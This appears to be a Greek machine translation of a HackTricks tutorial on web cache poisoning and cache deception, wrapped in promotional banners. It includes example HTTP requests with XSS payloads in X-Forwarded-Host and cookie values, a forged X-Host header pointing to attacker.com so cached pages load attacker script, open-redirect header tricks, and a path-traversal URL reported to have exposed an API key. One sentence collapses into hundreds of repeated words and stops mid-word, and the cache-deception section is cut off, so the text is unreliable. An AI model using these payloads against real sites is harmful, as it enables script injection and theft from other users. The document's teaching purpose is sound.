30 KiB
Ατροποποίηση Προσωρινής Μνήμης και Απάτη Προσωρινής Μνήμης
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγράφου ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.
Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Η διαφορά
Ποια είναι η διαφορά μεταξύ ατροποποίησης προσωρινής μνήμης ιστού και απάτης προσωρινής μνήμης ιστού;
- Στην ατροποποίηση προσωρινής μνήμης ιστού, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στη μνήμη cache, και αυτό το περιεχόμενο εξυπηρετείται από τη μνήμη cache σε άλλους χρήστες της εφαρμογής.
- Στην απάτη προσωρινής μνήμης ιστού, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στη μνήμη cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από τη μνήμη cache.
Ατροποποίηση Προσωρινής Μνήμης
Η ατροποποίηση προσωρινής μνήμης στοχεύει στην παραπλάνηση της μνήμης πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Η έκταση της επίδρασης εξαρτάται από τη δημοφιλία της επηρεασμένης σελίδας, καθώς η μολυσμένη απάντηση εξυπηρετείται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο μόλυνσης της μνήμης cache.
Η εκτέλεση μιας επίθεσης ατροποποίησης προσωρινής μνήμης περιλαμβάνει αρκετά βήματα:
- Αναγνώριση Μη-Κλειδωμένων Εισόδων: Αυτά είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί μια αίτηση, μπορεί να τροποποιήσουν την απάντηση που επιστρέφεται από τον διακομιστή. Η αναγνώριση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούνται για την αλλαγή της μνήμης cache.
- Εκμετάλλευση των Μη-Κλειδωμένων Εισόδων: Μετά την αναγνώριση των μη-κλειδωμένων εισόδων, το επόμενο βήμα είναι να κατανοήσετε πώς να εκμεταλλευτείτε αυτές τις παραμέτρους για να τροποποιήσετε την απάντηση του διακομιστή με τρόπο που εξυπηρετεί τον επιτιθέμενο.
- Βεβαίωση ότι η Ατροποποιημένη Απάντηση Αποθηκεύεται: Το τελευταίο βήμα είναι να βεβαιωθείτε ότι η τροποποιημένη απάντηση αποθηκεώνται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στην επηρεασμένη σελίδα κατά την περίοδο της μόλυνσης της μνήμης cache θα λάβει τη μολυσμένη απάντηση.
Ανακάλυψη: Έλεγχος κεφαλίδων HTTP
Συνήθως, όταν μια απάντηση ήταν αποθηκευμένη στη μνήμη cache θα υπάρχει ένα κεφάλιο που το υποδηλώνει, μπορείτε να ελέγξετε ποια κεφάλια πρέπει να προσέξετε σε αυτήν την ανάρτηση: Κεφαλίδες Αποθήκευσης Cache HTTP.
Ανακάλυψη: Αποθήκευση κώδικα 400
Αν υποψιάζεστε ότι η απάντηση αποθηκεύεται σε μνήμη cache, θα μπορούσατε να στείλετε αιτήσεις με ένα κακό κεφάλι, το οποίο θα απαντηθεί με ένα κωδικό κατάστασης 400. Στη συνέχεια, δοκιμάστε να έχετε πρόσβαση στην αίτηση κανονικά και αν η απάντηση είναι κωδικός κατάστασης 400, ξέρετε ότι είναι ευάλωτη (και μπορείτε ακόμα να πραγματοποιήσετε μια επίθεση DoS).
Ένας κακά διαμορφωμένος κεφαλίδας θα μπορούσε απλά να είναι \:
ως κεφαλίδα.
Σημειώστε ότι μερικές φορές αυτοί οι τύποι κωδικών κατάστασης δεν αποθηκεύονται στη μνήμη cache, οπότε αυτό το τεστ θα είναι άχρηστο.
Ανακάλυψη: Αναγνώριση και αξιολόγηση μη-κλειδωμένων εισόδων
Μπορείτε να χρησιμοποιήσετε το Param Miner για να δοκιμάσετε με βία παραμέτρους και κεφαλίδες που μπορεί να αλλάζουν την απάντηση της σελίδας. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί το κεφάλι X-Forwarded-For
για να υποδείξει στον πελάτη να φορτώσει το σενάριο από εκεί:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Εξαγωγή επιβλαβούς απάντησης από τον διακομιστή πίσω από τον διακομιστή
Με την παράμετρο/κεφαλίδα που εντοπίσατε, ελέγξτε πώς γίνεται η απολύμανση και πού επηρεάζει την απόκριση από την κεφαλίδα. Μπορείτε να το καταχραστείτε με οποιονδήποτε τρόπο (να εκτελέσετε ένα XSS ή να φορτώσετε έναν κώδικα JS που ελέγχετε εσείς; να εκτελέσετε ένα DoS;...)
Λήψη της κρυφής απόκρισης
Αφού έχετε εντοπίσει τη σελίδα που μπορεί να καταχραστεί, ποια παράμετρος/κεφαλίδα να χρησιμοποιήσετε και πώς να το καταχραστείτε, πρέπει να λάβετε τη σελίδα στην κρυφή μνήμη. Ανάλογα με τον πόρο που προσπαθείτε να λάβετε στη μνήμη, αυτό μπορεί να πάρει κάποιο χρόνο, μπορεί να χρειαστεί να προσπαθήσετε για μερικά δευτερόλεπτα.
Η κεφαλίδα X-Cache
στην απόκριση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή miss
όταν το αίτημα δεν ήταν στη μνήμη cache και την τιμή hit
όταν είναι στη μνήμη cache.
Η κεφαλίδα Cache-Control
είναι επίσης ενδιαφέρουσα για να γνωρίζετε αν ένας πόρος αποθηκεύεται στη μνήμη cache και πότε θα αποθηκευτεί ξανά ο πόρος: Cache-Control: public, max-age=1800
Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η Vary
. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να υποδεικνύει επιπλέον κεφαλίδες που θεωρούνται μέρος του κλειδιού της μνήμης cache ακόμα κι αν συνήθως δεν είναι κλειδωμένες. Επομένως, αν ο χρήστης γνωρίζει το User-Agent
του θύματος που στοχεύει, μπορεί να δηλητηριάσει τη μνήμη cache για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο User-Agent
.
Μια ακόμη κεφαλίδα που σχετίζεται με τη μνήμη cache είναι η Age
. Ορίζει το χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στη μνήμη cache του διακομιστή proxy.
Όταν αποθηκεύετε ένα αίτημα, να είστε προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε επειδή κάποιες από αυτές θα μπορούσαν να χρησιμοποιηθούν απροσδόκητα ως κλειδιά και το θύμα θα πρέπει να χρησιμοποιήσει αυτήν την ίδια κεφαλίδα. Δοκιμάστε πάντα ένα Δηλητηριασμό Μνήμης Cache με διαφορετικούς περιηγητές για να ελέγξετε αν λειτουργεί.
Παραδείγματα Εκμετάλλευσης
Ευκολότερο παράδειγμα
Μια κεφαλίδα όπως η X-Forwarded-For
αντικατοπτρίζεται στην απόκριση χωρίς απολύτως καμία απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολύτως απολ
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Χρήση δηλητηρίασης της μνήμης cache του web για την εκμετάλλευση ευπαθειών στη χειριστική των cookies
Τα cookies θα μπορούσαν επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε ένα XSS για παράδειγμα, θα μπορούσατε να εκμεταλλευτείτε το XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απόκριση cache.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Πληροφορίες για τη δημιουργία προβλημάτων με την προσπέλαση μονοπατιών για την κλοπή κλειδιού API
Αυτή η ανάλυση εξηγεί πώς ήταν δυνατόν να κλαπεί ένα κλειδί API της OpenAI με ένα URL όπως https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
επειδή οτιδήποτε ταιριάζει με /share/*
θα αποθηκεύεται στην cache χωρίς η Cloudflare να κανονικοποιεί το URL, το οποίο έγινε όταν το αίτημα έφτασε στον web server.
Χρήση πολλαπλών κεφαλίδων για την εκμετάλλευση ευπάθειών στην προσπέλαση της cache του web
Μερικές φορές θα χρειαστεί να εκμεταλλευτείτε πολλαπλές μη-κλειδωμένες εισόδους για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορείτε να βρείτε ένα Ανοικτό ανακατευθύνση αν ορίσετε το X-Forwarded-Host
σε ένα τομέα που ελέγχετε εσείς και το X-Forwarded-Scheme
σε http
. Αν ο διακομιστής ανακατεύει όλα τα HTTP αιτήματα σε HTTPS και χρησιμοποιεί την κεφαλίδα X-Forwarded-Scheme
ως το όνομα τομέα για την ανακατεύθυνση, μπορείτε να ελέγξετε προς πού θα οδηγηθεί η σελίδα με την ανακατεύθυνση.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Εκμετάλλευση με περιορισμένο Vary
header
Εάν ανακαλύψετε ότι το X-Host
header χρησιμοποιείται ως όνομα domain για τη φόρτωση ενός πόρου JS αλλά το Vary
header στην απόκριση υποδεικνύει User-Agent
, τότε πρέπει να βρείτε έναν τρόπο να εξαγάγετε το User-Agent του θύματος και να δηλητηριάσετε τη μνήμη cache χρησιμοποιώντας αυτό το user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Εκμεταλλευόμενοι την Ατασθαλία της Κρυφής Μνήμης HTTP με την Κατάχρηση του Κλοπής HTTP Αιτημάτων
Μάθετε εδώ πώς να εκτελέσετε επιθέσεις Κατάχρησης της Κρυφής Μνήμης με την Κατάχρηση του Κλοπής HTTP Αιτημάτων.
Αυτοματοποιημένος Έλεγχος για την Κατάχρηση της Κρυφής Μνήμης του Web
Το Εργαλείο Ευπαθειών της Κρυφής Μνήμης του Web μπορεί να χρησιμοποιηθεί για τον αυτόματο έλεγχο της κατάχρησης της κρυφής μνήμης του web. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι υψηλά προσαρμόσιμο.
Παράδειγμα χρήσης: wcvs -u example.com
Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Ευάλωτα Παραδείγματα
Apache Traffic Server (CVE-2021-27577)
Το ATS προώθησε το κομμάτι μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί της κρυφής μνήμης χρησιμοποιώντας μόνο τον κεντρικό υπολογιστή, τη διαδρομή και το ερώτημα (αγνοώντας το κομμάτι). Έτσι, το αίτημα /#/../?r=javascript:alert(1)
στάλθηκε στον πίσω χώρο ως /#/../?r=javascript:alert(1)
και το κλειδί της κρυφής μνήμης δεν περιείχε το φορτίο μέσα σε αυτό, μόνο τον κεντρικό υπολογιστή, τη διαδρομή και το ερώτημα.
GitHub CP-DoS
Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια αποθηκευμένη απάντηση 405. Το κλειδί της κρυφής μνήμης περιείχε το cookie, οπότε ήταν δυνατή μόνο η επίθεση σε μη εξουσιοδοτημένους χρήστες.
GitLab + GCP CP-DoS
Το GitLab χρησιμοποιεί κάδους GCP για την αποθήκευση στατικού περιεχομένου. Οι Κάδοι GCP υποστηρίζουν την κεφαλίδα x-http-method-override
. Έτσι ήταν δυνατό να σταλεί η κεφαλίδα x-http-method-override: HEAD
και να δηλητηριάσει την κρυφή μνήμη ώστε να επιστρέψει ένα κενό σώμα απάντησης. Μπορούσε επίσης να υποστηρίξει τη μέθοδο PURGE
.
Rack Middleware (Ruby on Rails)
Στις εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας x-forwarded-scheme
και να την ορίσει ως το σχήμα του αιτήματος. Όταν στέλνεται η κεφαλίδα x-forwarded-scheme: http
, συμβαίνει μια ανακατεύθυνση 301 στην ίδια τοποθεσία, προκαλώντας πιθανώς έναν Αποκλεισμό των Υπηρεσιών (DoS) σε αυτό το πόρισμα. Επιπλέον, η εφαρμογή ενδέχεται να αναγνωρίζει την κεφαλίδα X-forwarded-host
και να ανακατευθύνει τους χρήστες στον καθορισμένο κεντρικό υπολογιστή. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, δημιουργώντας έναν κίνδυνο ασφάλειας.
403 και Κάδοι Αποθήκευσης
Η Cloudflare προηγουμένως αποθήκευε 403 απαντήσεις. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με εσφαλμένες κεφαλίδες Εξουσιοδότησης θα οδηγούσε σε μια απάντηση 403 που θα αποθηκευόταν. Αν και η Cloudflare έχει σταματήσει την αποθήκευση των 403 απαντήσεων, αυτή η συμπεριφορά ενδέχεται να εξακολουθεί να υπάρχει σε άλλες υπηρεσίες διακομιστή.
Ενσωμάτωση Κλειδωμένων Παραμέτρων
Οι κρυφές μνήμες συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί της κρυφής μνήμης. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο size
στα αιτήματα. Ωστόσο, αν στάλθηκε επίσης μια εκδοχή κωδικοποιημένη με URL της παραμέτρου (π.χ., siz%65
) με μια εσφαλμένη τιμή, το κλειδί της κρυφής μνήμης θα κατασκευαζόταν χρησιμοποιώντας τη σωστή παράμετρο size
. Ωστόσο, ο πίσω χώρος θα επεξεργαζόταν την τιμή στην παράμετρο κωδικοποιημένη με URL. Η κωδικοποίηση με URL της δεύτερης παραμέτρου size
οδήγησε στην παράλειψή της από την κρυφή μνήμη αλλά στη χρήση της από τον πίσω χώρο. Η ανάθεση μιας τιμής 0 σε αυτήν την παράμετρο οδήγησε σε μια cacheable 400 Bad Request σφάλμα.
Κανόνες Χρήστη Πράκτορα
Ορισμένοι προγραμματιστές αποκλείουν αιτήσεις με πράκτορες χρήστη που ταιριάζουν με αυτούς των εργαλείων υψηλής κίνησης όπως το FFUF ή το Nuclei για τη διαχείριση του φορτίου του διακομιστή. Παράδοξα, αυτή η προσέγγιση μπορεί να εισάγει ευπαθείς σημεία όπως κατάχρηση της κρυφής μνήμης και DoS.
Παράνομα Πεδία Κεφαλίδων
Το RFC7230 καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα των κεφαλίδων. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός του καθορισμένου εύρους tchar θα έπρεπε ιδανικά να προκαλούν μια απάντηση 400 Bad Request. Στην πράξη, οι διακομιστές δεν πάντα τηρούν αυτό το πρότυπο. Ένα ενδεικτικό παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε σφάλμα 400, όσο το cache-control
header δεν είναι παρόν. Εντοπίστηκε ένα εκμεταλλεύσιμο πρότυπο όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως \
, θα οδηγούσε σε μια cacheable 400 Bad Request απάντηση.
Εύρεση νέων κεφαλίδων
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Κατάχρηση της Κρυφής Μνήμης
Ο στόχος της Κατάχρησης της Κρυφής Μνήμης είναι να κάνει τους πελάτες **να φορτώνουν πόρους που θα αποθηκευτούν από την κρυφή μνήμη με τις ευαίσθητες πληρο {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε Την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.